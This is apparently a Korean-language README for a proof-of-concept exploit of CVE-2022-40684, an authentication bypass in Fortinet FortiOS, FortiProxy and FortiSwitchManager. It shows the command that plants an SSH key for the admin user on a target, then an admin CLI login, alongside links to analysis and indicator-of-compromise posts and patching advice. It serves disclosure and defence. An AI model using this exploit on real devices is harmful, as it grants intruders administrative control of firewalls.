horizon3ai/cve-2022-40684Fortinet FortiOS, FortiProxy 및 FortiSwitchManager에 영향을 미치는 CVE-2022-40684에 대한 개념 증명 익스플로잇
Fortinet FortiOS, FortiProxy, FortiSwitchManager 장비에 영향을 미치는 CVE-2022-40684에 대한 POC입니다.
취약점에 대한 기술적 근본 원인 분석은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
침해 지표를 위해 Fortinet 로그를 분석하고 심층 로그를 활성화하는 방법은 당사의 IOC 블로그를 확인하세요: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
이 POC는 인증 우회 취약점을 악용하여 지정된 사용자의 SSH 키를 설정합니다.
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
최신 버전으로 업데이트하거나 Fortinet PSIRT의 지침에 따라 완화하십시오.
이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 관리자는 소프트웨어 오용에 대한 책임을 지지 않습니다. 책임감 있게 사용하십시오.